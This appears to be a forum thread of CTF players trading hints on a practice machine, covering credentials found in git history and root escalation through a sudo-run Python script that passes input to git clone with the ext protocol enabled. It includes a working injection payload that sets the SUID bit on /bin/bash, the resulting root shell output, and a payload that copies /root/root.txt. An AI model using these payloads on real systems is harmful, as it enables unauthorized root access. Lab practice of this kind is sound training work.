[princecyber]

all i am getting is not found whatever endpoint i try

[ritualist]

Credentials for prod are in git logs

There is a python script you can run as sudo. Didn't figure out abuse yet.

[BahsbFAISfjhb]

Looking for secrets in apps/.git, not found anything just yet

---

Credentials for prod are in git logs

There is a python script you can run as sudo. Didn't figure out abuse yet.

Where? I can't see anything with git log ./.git

[ritualist]

Looking for secrets in apps/.git, not found anything just yet

---

Credentials for prod are in git logs

There is a python script you can run as sudo. Didn't figure out abuse yet.

Where? I can't see anything with git log ./.git

git show 1e84a036b2f33c59e2390730699a488c65643d28
in ~/apps

[idrkwhatimdoing]

for root just use /bin/bash suid

so much easyier

[BahsbFAISfjhb]

Can someone say what we need to rewrite? or what to do? for root?

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always branches new_changes
  stderr: 'fatal: repository 'branches' does not exist

It's command injection, read the script that you are calling - wildcard in the context of sudo -l just means any input

[void-reaper]

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::/bin/bash -p"

This doesnt work

[newbi31]

user flag hint how to get username and password through api, there is not path in url like api

[void-reaper]

This worked  :D


prod@editorial:~$ echo '#!/bin/bash' > /tmp/exploit.sh
echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh

prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"

prod@editorial:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

prod@editorial:~$ /bin/bash -p
bash-5.1#

[nyctophile]

stderr: 'fatal: destination path 'new_changes' already exists and is not an empty directory.

What i missed ? Should i wait for cron ?

ext::sh -c cat% /root/root.txt% >% /tmp/root.txt